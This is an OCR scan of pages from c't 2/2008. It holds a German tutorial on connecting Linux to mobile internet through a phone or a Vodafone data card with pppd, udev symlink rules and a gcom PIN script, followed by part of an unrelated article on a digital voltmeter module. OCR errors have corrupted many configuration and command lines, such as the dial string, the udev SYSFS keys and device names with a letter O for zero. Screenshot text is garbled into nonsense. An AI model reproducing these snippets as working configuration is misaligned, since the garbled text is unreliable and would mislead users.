folgenden Inhalt hat: 


connect "/usr/sbin/chat -v -f 7 
/etc/ppp/peers/ppp0.chat" 

usepeerdns 

defaultroute 

/dev/rfcommo 

115200 

user "tux" 


Das Chat-Skript /etc/ppp/peers/ 
ppp0.chat enthält die AT-Be- 
fehle, mit denen das Handy 
die Internetverbindung aufbaut. 
Anstelle einer Telefonnummer 
wird dabei der Steuerbefehl 
„99 ***1#" verwendet: 


< ABORT BUSY 
TIMEOUT 60 
ABORT ERROR 
o.aTz" 

"" NATDT*II***IE" 
CONNECT 
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In die Datei /etc/ppp/pap-se- 
crets sollten Sie noch einen Be- 
nutzernamen und ein Passwort 
eintragen - da die Mobilfunkan- 
bieter das zwar abrufen, die 
Daten jedoch ignorieren, kön- 
nen Sie hier frei wählen. Hier ein 
Beispiel für den Benutzer „tux” 
mit dem Passwort „linux“: 


"tux" * "Linux" 


So eingerichtet können Sie mit 
dem Befehl pppd call ppp0 die Ein- 
wahl per Kommandozeile ansto- 
ßen. Etwaige Fehlermeldungen 
des PPP-Daemons finden Sie im 
Syslog. Alternativ zur manuellen 
Einrichtung von pppd können 
Sie natürlich auch die Konfigura- 
tionsprogramme Ihrer jeweiligen 
Distribution verwenden, unter 
Ubuntu ist dies die Netzwerkein- 
richtung, unter Suse Linux die 
Modem-Konfiguration von Yast. 
Der einige Unterschied zu einer 
herkömmliche Modem-Einrich- 
tung ist der Steuerbefehl anstel- 
le der Telefonnummer. Auch die 
Einwahl lässt sich üblicherweise 
komfortabel per Mausklick an- 
stoßen, bei Ubuntu übernimmt 
das der NetworkManager und 
bei Suse Linux das Programm 
kInternet, die sich jeweils in die 
Symbolleiste einklinken. 

Wenn Sie das Handy per USB- 
Datenkabel anstatt über Blue- 
tooth anschließen, etwa um die 
volle Datenrate von HSDPA nut- 
zen zu können und nicht von 
Bluetooth ausgebremst zu wer- 
den, wird das Modem-Device 
des Handys als /dev/ttyACMO 
eingebunden. Somit müssten Sie 
den Gerätenamen in der PPP- 
Konfiguration ändern oder eine 
neue PPP-Konfiguration für den 
USB-Anschluss anlegen, andern- 
falls würde Linux trotz USB-Da- 
tenkabel die Internetverbindung 
über Bluetooth aufbauen. 


Verlinktes Modem 


Eine komfortablere Lösung des 
Problems ist, in der PPP-Kon- 
figuration den Namen eines 
symbolischen Links anzugeben, 
zum Beispiel /dev/mobile-inter- 
net. Anschließend muss man 
nur noch dafür sorgen, dass der 
Symlink auf das echte Mo- 
dem-Gerät verweist. Will man 
später ein Modem mit einem 
anderen Gerätenamen verwen- 
den, braucht man lediglich den 
symbolischen Link anzupassen 
und keine Änderungen an der 
PPP-Konfiguration mehr vorzu- 
nehmen. 


c't 2008, Heft 2 


Mit Hilfe von Udev können Sie 
solche symbolischen Links auto- 
matisch anlegen lassen, wenn 
das zugehörige Device im Sys- 
tem verfügbar wird - im Fall der 
Bluetooth-Verbindung also beim 
Start des Bluetooth-Daemons. 
Das Verhalten von Udev wird 
über Regeln gesteuert, die Sie 
üblicherweise im Verzeichnis 
/etc/udev/rules.d auf verschiede- 
ne Dateien verteilt finden. Für 
das Anlegen symbolischer Links 
ist bei Ubuntu 7.10 zum Beispiel 
die Datei /etc/udev/rules.d/60- 
symlinks.rules zuständig. Bei De- 
bian Etch und Suse Linux sind die 
Regeln hingegen nach Geräten 
zusammengefasst, weshalb Sie 
eine neue Datei erstellen und 
dort die Regeln eintragen sollten. 
Als Dateinamen verwenden Sie 
unter Etch am besten z98_mobi- 
le-internet.rules und unter Suse 
Linux 98-mobile-internet.rules. 

Eine Udev-Regel enthält eine 
oder mehrere Bedingungen, die 
erfüllt sein müssen, damit ein 
oder mehrere Zuweisungen aus- 
geführt werden. Das nachfol- 
gende Beispiel zeigt die Regel, 
die dem Device rfcommO den 
symbolischen Link /dev/mobile- 
internet zuordnet: 


KERNEL=="rfcomm0" \ 
SYMLINK+="mobile-internet" 


Der Bezeichner KERNEL steht für 
den Gerätenamen, SYMLINK ist 
eine Liste mit dem Namen der 
symbolischen Links, wobei meh- 
rere durch Leerzeichen getrennt 
werden. Der Vergleichsoperator 
== weist Udev an, diesen Teil der 
Regel als Bedingung zu verwen- 
den, am Ende der Zeile stehen 
dann eine oder mehrere Zuwei- 
sungen, wobei anstelle von += 
zum Anhängen einer Zeichen- 
kette auch der Zuweisungsope- 
rator = verwendet werden kann. 
Alle Bedingungen und Zuwei- 
sungen werden jeweils durch ein 
Komma voneinander getrennt. 

Schließt man das Handy per 
USB-Kabel an, sollte der symbo- 
liche Link auf /dev/rfcommO 
möglichst automatisch durch 
einen symbolischen Link auf das 
Modem-Device (ACM Modem, 
Adaptive Coding and Modulation 
Modem) des Handys ersetzt wer- 
den. Im einfachsten Fall, wenn 
Linux das Handy-Modem mit 
dem Gerätenamen ttyACMO ein- 
bindet, genügt dafür wiederum 
eine kurze Udev-Regel: 


KERNEL=="ttyACMO"\ 
SYMLINK+="mobile-internet" 


Obwohl es den symbolischen 
Link /dev/mobile-internet be- 
reits gibt und er auf das Blue- 
tooth-Device zeigt, ersetzt Udev 
den bisherigen Link durch einen 
neuen, der auf das Handy- 
Modem am USB-Anschluss ver- 
weist. Eine Anpassung der Inter- 
net-Einwahl ist daher nicht 
nötig. Mehr noch: Wird die USB- 
Verbindung zum Handy wieder 
getrennt, entfernt Udev neben 
dem Gerätenamen ttyACMO 
auch den symbolischen Link 
/dev/mobile-internet. Da in der 
Gerätedatenbank von Udev aber 
noch ein Bluetooth-Anschluss 
aufgelistet ist, auf den ein Sym- 
link /dev/mobile-internet ver- 
weisen soll, legt Udev anschlie- 
ßend automatisch den Link auf 
das Bluetooth-Device wieder an. 
Dies funktioniert sogar mehr- 
stufig, Udev merkt sich die Rei- 
henfolge, in der symbolische 
Links überschrieben wurden, 
und legt sie in umgekehrter Rei- 
henfolge wieder an, sofern die 
zugehörigen Geräte noch ange- 
schlossen sind. 


Namenswechsel 


Da die Namen von USB-Geräten 
dynamisch zugeordnet werden 
und nicht wie im Beispiel der 
Bluetooth-Verbindung statisch, 
müssen Sie damit rechnen, dass 
die Modem-Devices des Handys 
durchaus einen anderen Namen 
bekommen können, abhängig 
davon, ob vielleicht noch ein 
weiteres Modem-Gerät ange- 
schlossen ist oder die Modem- 
Devices in einer anderen Rei- 
henfolge erkannt werden. 
Da die Udev-Regel aus 
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Eine gute Möglichkeit ist, den 
Symlink von Hersteller und Mo- 
dell abhängig zu machen. Die 
dafür nötige Vendor- und Pro- 
duct-ID liefert Ihnen der Befehl 
Isusb. Die folgende Udev-Regel 
bewirkt, dass /dev/mobile-inter- 
net nur auf ein Nokia N95 zeigen 
kann, das per USB angeschlos- 
sen wird: 


SUBSYSTEMS=="usb"\ 
KERNEL=="ttyACM[0-9]*"\ 
SYSFSfidVendor}t=="0421"\ 
SYSFSfidProduct}=="04f0" \ 
SYMLINK+="mobile-internet" 


Bei manchen Handys wie dem 
Sony-Ericsson K800i findet Linux 
gleich zwei oder mehr Modems, 
wenn man sie per USB-Kabel an- 
schließt. Davon ist üblicherweise 
nur eins für die Internet-Einwahl 
bestimmt und Sie müssen zu- 
nächst herausfinden, welches. 
Am einfachsten geht dies mit 
dem Programm gcom (bei Suse 
Linux heißt es comgt), das Ihnen 
unter anderem Ihren Netzbetrei- 
ber sowie die Signalstärke an- 
zeigt: 


gcom -d /dev/ttyACMO 


Liefert gcom anstelle der Status- 
Informationen eine Fehlermel- 
dung, verfügt das angegebene 
Modem-Device zumindest nicht 
über die GSM-AT-Befehle - ver- 
suchen Sie es dann mit dem an- 
deren Modem-Device des Han- 
dys. Standardmäßig sucht gcom 
nach einem Gerät namens /dev/ 
modem, weshalb Sie den Geräte- 
namen des Handy-Modems mit 
dem Parameter -d explizit ange- 
ben müssen. Haben Sie den 


dem letzten Beispiel je- |” ESPRNERNEEREN a 
doch als einzige Bedin- |" = 
gung den Gerätenamen [Vertindungen |Allgemein [ons |Rechner 
für das Erzeugen des Brian 
Symlinks verwendet, er- = Roaming-Mocus aktiviert 
folgt die Internet-Einwahl Kabelgebundene Verb... 
schlimmstenfalls über ee 
das falsche Handy. a ehe: 
= PERS EFT = 3 schließen 
Allgemein | Modem | Optionen 
# Diese Verbindung aktivieren Anstelle einer 
Daten zum Internet-Dienstanbieter Telefonnummer 
so] wird bei der 
Internet-Einwahl 
ern per Mobilfunk 
keinem fu ein Steuerbefehl 
en Fr verwendet, 
der für alle 
©osbrechen || Bor Geräte und 


Netze gleich ist. 
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Gerätenamen des funktionieren- 
den Modems herausgefunden, 
können Sie ihn aufgrund der 
dynamischen Namensvergabe 
jedoch nicht ohne Weiteres für 
eine Udev-Regel verwenden. Sie 
müssen ein anderes Unterschei- 
dungsmerkmal finden. Hierfür 
eignet sich die Interface-Num- 
mer, mit der die Schnittstellen 
eines USB-Geräts durchnumme- 
riert werden. 

Hat das Modem-Device den 
Gerätenamen ttyACMI1, suchen 
Sie unterhalb von /sys/class/ 
tty/ttyACM1 nach der Pseudo- 
Datei biInterfaceNumber. Beim 
K800i befindet sie sich im Unter- 
verzeichnis device und enthält 
die Interface-Nummer des Mo- 
dems, in diesem Fall „01“. Daraus 
ergibt sich dann folgende Udev- 
Regel: 


SUBSYSTEMS=="usb" \ 
KERNEL=="ttyACM[O-9]*" \ 
SYSFSfidVendor=="0fce",\ 
SYSFSfidProduct}=="d039",\ 
SYSFS{device/bInterfaceNumber}=="01",\ 
SYMLINK+="mobile-internet" 


Das zweite Modem des Handys, 
ttyACM2, hat eine andere Inter- 
face-Nummer und bekommt 
daher keinen symbolischen Link 
zugeordnet. Das ist wichtig, weil 
sich sonst beide Modems über- 
decken würden, also immer nur 
das zuletzt beim System ange- 
meldete verlinkt wäre. 


Sonderfall Datenkarte 


Bei der 3G/GPRS-Datenkarte von 
Vodafone, die per CardBus an 
ein Notebook angeschlossen 
wird, gibt es ähnliche Probleme 
mit der Gerätenamen-Zuord- 
nung: Auf der Datenkarte sitzt 
wie bei solchen Geräten üblich 
ein eigener USB-Controller, an 
dem insgesamt drei Modem- 
schnittstellen zur Verfügung ste- 
hen, von denen Sie die richtige 
per gcom bestimmen müssen. 
Zudem muss zur Initialisierung 
die PIN der SIM-Karte eingege- 
ben werden, da anders als bei 
Handys dafür keine Tastatur zur 
Verfügung steht. 

Zunächst unterscheidet sich 
die Udev-Regel, die den symbo- 
lichen Link auf das richtige 
Modem der Datenkarte anlegt, 
nicht von dem im vorheri- 
gen Abschnitt beschriebenen 
Handy-Beispiel. Eine Besonder- 
heit der Vodafone-Datenkarte 
zeigt sich jedoch bei der Interfa- 
ce-Nummer: Während die Pseu- 
do-Datei binterfaceNumber bei 
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Mit den unteren drei Regeln legt Udev für die Datenkarte und 

für das per Bluetooth oder USB-Datenkabel angebundene Handy 
einen gemeinsamen symbolischen Link an, sodass die Internet- 
Einwahl vom verwendeten Gerät unabhängig bleibt. 


den Handys im SysFS-Zweig des 
jeweiligen Modem-Geräts zu fin- 
den war - also zum Beispiel in 
/sys/class/tty/ttyACM1/device -, 
liegt sie bei den Modems der 
Vodafone-Karte im USB-Zweig 
von SysFS - also zum Beispiel 
unter /sys/bus/usb/devices/6- 
1:1.0. Dort ist die Interface-Num- 
mer mit den Udev-Bezeichnern 
SYSFS und ATTRS nicht auffind- 
bar, da beide Bezeichner nur 
den SysFS-Zweig der jeweiligen 
Geräteklasse durchforsten. Nur 
die Variable %s{} durchsucht zu- 
sätzlich auch den SysFS-Baum 
der Eltern - in diesem Fall den 
USB-Zweig, in dem die Pseudo- 
Datei mit der Interface-Nummer 
steckt. Deshalb ist zur Überprü- 
fung der Interface-Nummer bei 
der Vodafone-Karte folgende, 
sehr ungewöhnliche Udev-Regel 
erforderlich: 


SUBSYSTEMS=="usb"\ 
KERNEL=="ttyUSB[0-9]*",\ 
SYSFS{idVendor}=="0af0"\, 
SYSFS{idProduct}=="5000",\ 
PROGRAM="/usr/bin/test 7 
%sfbInterfaceNumber} = 00",\ 
SYMLINK+="mobile-internet" 


Nun können Sie die automati- 
sierte Eingabe der PIN mit Hilfe 
von gcom in Angriff nehmen. Da 
gcom die PIN stets von der Stan- 
dardeingabe abfragt, benötigen 
Sie ein kleines Skript, das gcom 
die PIN über eine Pipe übergibt: 


#!/bin/bash 
if [ -e /dev/$1 ]; then 

echo 1234 | gcom -d /dev/$1 
fi 


Die PIN in einem Skript auf Fest- 
platte zu speichern ist allerdings 
ein Sicherheitsrisiko, daher soll- 
ten Sie es nur für den Benutzer 


root les- und ausführbar ma- 
chen. Als Parameter erwartet das 
Skript den Namen des Modem- 
Geräts ohne Pfadangabe. Diese 
Information lassen Sie Udev 
beim Aufruf des Skripts - ange- 
nommen, es liegt im Verzeichnis 
/etc/gcom und heißt datacard- 
init - mitliefern. Dazu ergänzen 
Sie die Udev-Regel aus dem 
vorherigen Beispiel am Ende um 
folgende Zuweisung: 


RUN="/etc/gcom/datacard-init %k" 


Die Anmeldung am Netz kann 
durchaus eine Weile dauern; ist 
sie abgeschlossen, erkennen Sie 
das am Blinken der beiden LEDs 
der Datenkarte - nicht initiali- 
siert blinken sowohl die grüne 
GPRS- als auch die blaue UMTS- 
LED gleichzeitig, nach der Initia- 
lisierung blinkt nur noch die LED 
für die jeweilige Übertragungs- 
art. Dabei können Sie mit gcom 
beeinflussen, welches Netz die 
Karte bevorzugen soll: Der Auf- 
ruf von gcom -d /dev/$1 3626 im In- 
itialisierungs-Skript der Daten- 
karte verwendet primär UMTS 
und schaltet auf GPRS herunter, 
wenn das Signal zu schwach ist, 
während mit „3G” als letztem 
Parameter ausschließlich UMTS 
genutzt würde. 


Gcom als Wahlhelfer 


Eine weitere Besonderheit der 
Datenkarten: Während Sie bei 
Handys die Interneteinstellun- 
gen über das Bedienfeld vorneh- 
men und dort die gewünschten 
Datendienste auswählen, müs- 
sen Sie die Netz-Zugangsdaten 
der Datenkarte mit dem Compu- 
ter übergeben. Die wichtigste 
Einstellung ist der APN (Access 


Point Name) des Zugangs- 
punkts, der als Gateway zum 
Internet fungiert: Manche Provi- 
der wie zum Beispiel Vodafone 
verwenden für verschiedene 
Tarife unterschiedliche APNs. 
Geben Sie den falschen APN ein, 
kann es sein, dass Sie zu deutlich 
höheren Preisen surfen oder 
eine Flatrate gar nicht nutzen 
können - hier ist also besondere 
Sorgfalt geboten. 

Der APN wird mit dem AT- 
Kommando AT+CGDCONT=1,"IP","APN- 
Name" an das Modem-Device 
übergeben. Dies sollten Sie nach 
jedem Einstecken der Karte 
wiederholen, für den Fall, dass 
die letzte Einstellung nicht 
gespeichert wurde. Da beim 
Aufbau einer PPP-Verbindung 
ohnehin AT-Modem-Komman- 
dos übertragen werden, könnte 
man die APN-Einstellung gut in 
der Chat-Datei /etc/ppp/peers/ 
ppp0.chat unterbringen. Der 
Nachteil ist, dass Sie dadurch die 
Flexibilität verlieren - Handys 
weisen diesen Befehl mitunter 
zurück und verlangen die Ände- 
rung des Internetprofils, sodass 
die Einwahl mit einer Fehlermel- 
dung abbricht. Auch könnten Sie 
nicht mehr zum Beispiel die 
Datenkarte Ihres Arbeitgebers 
für dienstliche Zwecke einsetzen 
und mit den gleichen Einwahl- 
einstellungen Privates über Ihr 
eigenes Handy abwickeln. Daher 
empfiehlt es sich, den APN der 
Datenkarte gleich vom Initiali- 
sierungs-Skript /etc/gcom/data- 
card-init setzen zu lassen. 

Gcom erlaubt es, neben der 
Eingabe der PIN auch zusätzliche 
Modem-Kommandos übertra- 
gen zu lassen. Diese Komman- 
dos speichern Sie in einer sepa- 
raten Datei, zum Beispiel /etc/ 
gcom/datacard.scr, und hängen 
den Dateinamen als Parameter 
an den gcom-Aufruf zur PIN-Ein- 
gabe im Initialisierungs-Skript 
/etc/gcom/datacard-init an. Hier 
ein Beispiel für die Modem-Kom- 
mandos für den Vodafone-Tarif 
WebsSessions: 


send 

"AT+CGDCONT=1,\"IP\"‚\"event. 7 
vodafone.de\"Am" 

waitfor 10 "OK" 


Auf diese Weise können Sie die 
unterschiedlichsten Handys und 
Datenkarte selbst konkurrieren- 
der Netzbetreiber über eine ein- 
zige Einwahlkonfiguration zum 
Surfen verwenden - Linux be- 
nutzt dabei immer das zuletzt 
angeschlossene Gerät. (mid) dE 
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Heinrich Willecke, Carsten Meyer 


Messwerkeln 


Digitalvoltmeter-Modul für das c’'t-Lab 


Nicht nur die höhere Genauigkeit unterscheidet ein 
labortaugliches Instrument von einem Handmultimeter 
aus dem Elektronik-Supermarkt: Ersteres muss langzeit- 
stabil, fernsteuer- und kalibrierbar sein, während die 
„Beweglichkeit“ eher in den Hintergrund tritt. Unser DIV 
getauftes Modul soll denn auch nicht den Werkzeugkoffer, 
sondern das c’t-Lab-Rack sinnvoll erweitern. 


undertmal genauer als ein 
+ typisches 10-Euro-Multi- 

meter, aber nur zehnmal 
so teuer - das waren unsere Ziel- 
setzungen beim DIV-Schaltungs- 
design. Unser Modul sollte be- 
züglich seiner Auflösung, Genau- 
igkeit und Konstanz schon an die 
renommierte Konkurrenz von 
Fluke, Agilent und Keithley her- 
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anreichen, ohne gleich Hunderte 
oder Tausende von Euro zu kos- 
ten. Im Pflichtenheft stand auch, 
dass es wie die Tischgeräte der 
erwähnten Hersteller vollständig 
fernsteuer- und fernabfragbar zu 
sein hat, hier natürlich mit der 
einfach erlernbaren und über alle 
Module konsistenten c't-Lab- 
Syntax, ebenso sollte die Poten- 


\ 


tialtrennung aller Module unter- 
einander und zum steuernden 
Rechner gewährleistet sein. 

Das preisliche Limit ließ sich 
indes nur durch Abspecken auf 
die wesentlichen Funktionen 
eines Digitalvoltmeters erreichen: 
das Messen von Gleich- und 
Wechselspannungen natürlich. 
Als einzigen Luxus gönnten wir 
der Karte sechs Strom-Messberei- 
che, hier immerhin mit der Mög- 
lichkeit, auch sehr kleine Gleich- 
und Wechselströme im Mikro- 
ampere-Bereich bei geringem 
Spannungsabfall (max. 250 mV) 
messen zu können. Ein Aufsatz- 
Modul für Widerstandsmessun- 
gen ließe sich nachrüsten, was 
wir an dieser Stelle aber nicht vor- 
eilig versprechen wollen. Schon 
vorhanden ist auf jeden Fall ein 
Trigger-Eingang, der bei automa- 
tisierten Messungen gute Dienste 
leistet: Bei einer (einstellbar stei- 
genden oder fallenden) Flanke 
am Eingang und entsprechend 
gesetzter Trigger-Maske liefert 
das DIV-Modul auch ohne expli- 


zite Anfrage seine Messwerte an 
den Rechner. 

Wie alle c’t-Lab-Module wird 
das DIV auf einer Euro-Karte auf- 
gebaut. c’t-Lab-Kenner werden 
die typischen internen Anschlüs- 
se gleich wiedererkennen: den 
Stromversorgungs-Steckverbin- 
der (aufgrund der Potentialtren- 
nung benötigt DIV eine eigene 
Stromversorgung, etwa ein „hal- 
bes” PS3-2-Netzteilmodul) und 
die Kommunikationsanschlüsse 
des optoelektronisch isolierten, 
seriellen Bussystems. Ganz allein 
ist das DIV also nicht sinnvoll ein- 
setzbar - es benötigt immer eine 
(ggf. mit anderen c’t-Lab-Modu- 
len gemeinsam genutzte) IFP- 
Karte zur Kommunikation mit 
dem PC und einen freien Netz- 
teil-Anschluss im c’t-Lab. Trotz- 
dem lässt sich DIV durch ein an- 
schließbares LCD-Panel PM8& 
auch ohne Rechner-Unterstüt- 
zung betreiben. Am Panel lassen 
sich grundlegende Einstellungen 
(Messbereich) vornehmen, au- 
ßerdem zeigt es natürlich den 
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aktuellen Messwert sechsstellig 
an - unabhängig vom Rechner 
oder einer Triggerung. 


Gesundschrumpfen 


Gegenüber der ersten Ankündi- 
gung in c't 10/2007 haben sich 
einige technische Details geän- 
dert, was teils auf Sicherheits- 
bedenken, teils auf die mangeln- 
de Bauteile-Verfügbarkeit und 
die damit verbundene Nachbau- 
sicherheit zurückzuführen ist. 
Die maximale Eingangsspan- 
nung wurde auf 250 V begrenzt, 
womit teure Hochspannungs- 
Relais entfallen können; außer- 
dem war uns beim Gedanken, 
dass Leser 1 kV auf einen „offe- 
nen” Nachbau loslassen könn- 
ten, nicht sehr wohl. Durch die 
Stufung 250 mV, 2,5 V, 25 V und 
250 V konnten wir einen teuren 
programmierbaren Instrumen- 
tierungsverstärker (ursprünglich 
vorgesehen: PGA202) sparen, 
seine Aufgabe übernimmt jetzt 
ein einfacher Operationsver- 
stärker mit 1- oder 10-facher Ver- 
stärkung. 

Der Eingangswiderstand der 
Gleichspannungsbereiche liegt 
bei „knapp unendlich” in den 
250-mV- und 2,5-V-Stufen und 
sonst bei 10 M@. In den Wechsel- 
spannungsbereichen beträgt die 
Eingangsimpedanz 1 MQ/30pF, 
während die Strombereiche so 
ausgelegt sind, dass der Span- 
nungsabfall am DIV-Eingang 
(auch in den Wechselstromberei- 
chen!) maximal 250 mV beträgt. 
Dass der unterste Spannungs- 
bereich statt 100 mV nun 250 mV 
für den „Vollausschlag” benötigt, 
ist kein wirklicher Nachteil; einer- 
seits ist die Wandler-Auflösung 
genügend hoch, und anderer- 
seits misst man bei so kleinen 
Spannungen viel „Mist“ mit - will 
heißen: parasitäre Thermospan- 
nungen, die durchaus in der Grö- 
ßenordnung einiger 10 uV liegen 
können. 

Um gleich beim Thema zu 
bleiben: Die unteren der 24 Bits 
fluktuieren im empfindlichsten 
Messbereich schon heftig, wenn 
man die Karte oder das Mess- 
kabel nur im Erdmagnetfeld be- 
wegt (Induktion) oder die eine 
Messspitze etwas wärmer ist als 
die andere (Thermospannung). 
Von den 24 Bit des verwendeten 
A/D-Wandlers LTC2400 sind 
demzufolge nur etwa 18 bis 20 
Bit effektiv nutzbar. Das letztwer- 
tige der 24 Auflösungs-Bits re- 
präsentiert im 2,5-V-Bereich eine 
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Unser DIV- 
Prototyp, hier 
mit TRMSC-Auf- 
satz für die Wechsel- 
spannungs- und -strom- 
bereiche. Die TRMSC-Schal- 
tung benötigt einige kleine 
Änderungen (siehe Stückliste). 


Spannung von nur noch 150 nV 
- ein unglaublich kleiner Span- 
nungsschritt. Zum Vergleich: 
Wenn Sie Ihre Messspitzen an 
das Messobjekt halten und je- 
mand schaut Ihnen plötzlich 
über die Schulter, wird die ther- 
mische Strahlung der zweiten 
Person die parasitäre (und mit- 
gemessene) Thermospannung 
an den Messspitzen um fast den 
gleichen Betrag ändern. 


Aufwand und Nutzen 


Nicht umsonst betreibt die Phy- 
sikalisch-technische Bundesan- 
stalt in Braunschweig einen ge- 
radezu abenteuerlichen Auf- 
wand (z. B. mit supraleitenden 
Josephson-Kontakten und Kel- 
vin-Varley-Teilerketten im tem- 
perierten Ölbad), wenn es darum 
geht, Spannungen im Sub-Mi- 
krovolt-Bereich reproduzierbar 
darzustellen oder gar zu messen. 
Messgeräte mit ppm-Genauig- 


Datei Besrbeten Ausführen Werkzeuge Durchsuchen Perster if 
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keit zu bauen erfordert gemein- 
hin mehr Erfahrung als techni- 
sches Wissen. Viele der in La- 
borstandards verbauten Techni- 
ken, die oft genug an Hexenwerk 
erinnern, kommen für den Nach- 
bauer auch gar nicht in Frage. 
Wer will schon Kupferdrähte 
verschweißen oder mit giftigem 
Cadmium-legierten Lötzinn ar- 
beiten, damit an den Löt- und 
Verbindungsstellen keine parasi- 
tären Thermospannungen ent- 
stehen? Wo bekommt man als 
Normalsterblicher thermoelek- 
trisch inaktive Steckverbinder 
her, und wie schirmt man den 
Laborraum gegen Störfelder ab? 

Verabschieden Sie sich also 
schnell von der Vorstellung, die 
eher theoretische Auflösung des 
24-Bit-Wandlers unbedingt aus- 
nutzen zu wollen (was nebenbei 
gesagt aus genannten Gründen 
auch für die gesamte Digital- 
Audio-Technik gilt). Die fünfein- 
halb bis sechs Dezimalstellen 


DIV Offset- und Skallerungs-Abgleich‘ 


DIV gespeicherte 
och 


Wurde” 


Ermmunpernungen 
DNM zum Vargdesch): "Scale" a0 naked, das Istwert und abgekanarar Wert 


Scabe-K lteierung mit bekannter 


 1DDONLLIOLOL0 Aamapkune 


mal) intagr and 


Offset 
[Reset] \17241,64 EEE > Y-ızazıÖ 


a 
4 1,0000000 


Das DIV-Abgleichprogramm benötigt zwar LabVIEW 6.1, 
es erleichtert die Kalibrierung aber erheblich. Ein gutes 
Referenz-Voltmeter und eine stabile Gleichspannungsquelle 


sind von Vorteil. 


Praxis | Messen, Steuern, Regeln 


Auflösung, die unser DIV liefert, 
reichen selbst für anspruchsvol- 
lere Labor-Anwendungen. Wenn 
Sie zum Beispiel am einen Ende 
einer kurzen Leiterbahn 1,99653 
V und am anderen Ende 1,9961 1 
V gegenüber Masse-Bezugspo- 
tential messen, wissen Sie schon 
mal, in welche Richtung der 
Strom zu einem 10-kQ-Wider- 
stand fließt. Das ist doch auch 
schon mal etwas. 


Verschiedene Wege 


Unsere Schaltung arbeitet, je 
nachdem ob Gleich- oder Wech- 
selspannungen gemessen wer- 
den sollen, mit zwei völlig ge- 
trennten Messverstärkern. Strom- 
messungen stellen im Prinzip 
nur einen Sonderfall der Span- 
nungsmessung dar - gemessen 
wird dann der Spannungsabfall 
an einem niederohmigen 
„Shunt”. Zunächst zu den Gleich- 
spannungs-Messbereichen: Die 
zu messende Spannung gelangt 
über eine Feinsicherung und 
einem nach Masse geschalteten 
Überspannungsableiter (Spit- 
zenspannung 350 V) zu einem 
Relais-geschalteten, passiven 
Vorteiler, der die Eingangsspan- 
nung gegebenenfalls auf einen 
vom Wandler verarbeitbaren 
Wert (max. 2,5 V) absenkt. In den 
Bereichen 250 mV und 2,5 V 
bleibt der Spannungsteiler aus- 
geschaltet und belastet dem- 
nach auch nicht das Messobjekt; 
der Eingangswiderstand wird 
hier nur vom folgenden FET- 
Operationsverstärker U6 be- 
stimmt, er beträgt einige GQ. 
Zwei als leckstromarme Dioden 
geschaltete Transistoren verhin- 
dern Überspannungen am Ein- 
gang. Im 250-mV-Bereich ver- 
stärkt der Operationsverstärker 
10-fach, ansonsten ist er als 
Spannungsfolger geschaltet (1- 
fache Verstärkung). Die je nach 
Bereich verstärkte, unbehandel- 
te oder heruntergeteilte Span- 
nung gelangt dann zu einem 
einfachen Widerstandsnetzwerk, 
das eine Offsetspannung in 
Höhe der halben Wandler-Refe- 
renzspannung (2,5 V) hinzufügt 
und die Messspannung neben- 
bei durch zwei teilt. Der A/D- 
Wandler kann nämlich nur posi- 
tive Eingangsspannungen ver- 
arbeiten, deshalb muss die Mess- 
spannung auf einen virtuellen 
Nullpunkt in Höhe des halben 
Aussteuerungsbereichs angeho- 
ben werden. Der Nullpunkt-Off- 
set wird später von der Control- 
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Besonders im Bereich des A/D-Wandlers LTC2400 und 

des Eingangsspannungsteilers sollte die Platine sorgfältig von 
Flussmittelresten und Verschmutzungen gereinigt werden. 
Gegen statische Störfelder hilft eine Abschirmung (zum Beispiel 
aus Platinen-Basismaterial, an Eingangs-Masse COM ange- 
schlossen) auf der DIV-Rückseite. 


ler-Firmware wieder software- 
mäßig abgezogen. 

Noch ein Wort zum OpAmp: 
Einer der besten und genaues- 
ten OpAmps am Markt ist der 
OPA627 von Burr-Brown, der in 
der Schaltung durchaus einge- 
setzt werden kann. Seinen teuer 
erkauften (hier im wahren Wort- 
sinn) größten Trumpf kann der 
OPA627 allerdings gar nicht so 
richtig ausspielen, nämlich sein 
schnelles Einschwingverhalten 
- was ihn eher für Approxioma- 
tionswandler prädestiniert. In 
unserer Schaltung haben wir 
auch mit dem LF411 oder dem 
AD711 ähnlich gute Ergebnisse 
erzielt; mit dem überall erhält- 
lichen und preiswerten LF411 
können Sie nichts falsch ma- 
chen. Sollte seine Offset-Fehler- 
spannung am Ausgang (U6 Pin 
6) bei O0 V Eingang und 10-fa- 
cher Verstärkung einige zig mV 
überschreiten, spendieren Sie 
ihm den (sonst überflüssigen) 
Offset-Einsteller R13 (im 2,5-A- 
Strombereich DC mit offenen 
Eingängen auf minimale Aus- 
gangsspannung an Pin 6 abglei- 
chen). 

Die Relais im Eingangs-Um- 
schalter vertragen keine höhe- 
ren Ströme als 3 A. Der 2,5-A- 
Shunt R34 ist deshalb auf zusätz- 
liche Anschlüsse geführt, womit 
auch Ströme deutlich über 2,5 A 
möglich werden (zumindest 
kurzzeitig). Auf jeden Fall haben 
Sie die Option, R34 durch einen 
(noch) niedrigeren Wert (z.B. 
10 m2) zu ersetzen, falls Ströme 
im zweistelligen Ampere-Bereich 
zu messen sind; die Skalierungs- 
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Parameter sind hinreichend fle- 
xibel, für den externen Eingang 
steht ein eigener Parameter-Satz 
zur Verfügung. 

Wechselspannungen und -strö- 
me gehen einen völlig anderen 
Weg: Ein Relais schaltet sie auf 
den Eingang des (optional mon- 
tierbaren) True-RMS-Wandlers 
TRMSC, der schon beim DDS- 
Modul zum Messen von Audio- 
Niederfrequenzen zum Einsatz 
kam (c't 15/07, S. 188, Funktions- 
beschreibung siehe dort). Das 
TRMSC-Modul bietet ebenfalls 
vier Eingangsspannungsberei- 
che, arbeitet aber mit einer völ- 
lig anders aufgebauten Ein- 
gangsstufe, die ohne jedes Relais 
auskommt. Es verarbeitet Fre- 
quenzen im gesamten Audio- 
Bereich, die spätere Kalibrierung 
kann deshalb mit 50 Hz genauso 
gut wie mit 1 kHz erfolgen. 
Damit das TRMSC-Modul die 
richtigen Ausgangsspannungen 
(2,5 Ver AC = 23,5 V DC) liefert, 
sind gegenüber dem Einsatz auf 
dem DDS-Modul einige Wider- 
standswerte zu ändern (siehe 
Zusatz-Stückliste). Die TRMSC- 
Originalbestückung liefert bei 
den DIV-Skalenendwerten zu 
hohe Gleichspannungen. 

Die Gleich- und Wechsel- 
strom-Bereiche verwenden die- 
selben Shunt-Widerstände (R34, 
35 und 38). Damit R34 und 35 im 
Überlastfall nicht in Rauch auf- 
gehen, sind ihnen vier dicke Dio- 
den antiparallel geschaltet, die 
bei Spannungen über 1,2 V lei- 
tend werden. Bei zu hohen Strö- 
men wird schließlich die flinke 
Feinsicherung durchbrennen 


(oder die gemessene Schaltung). 
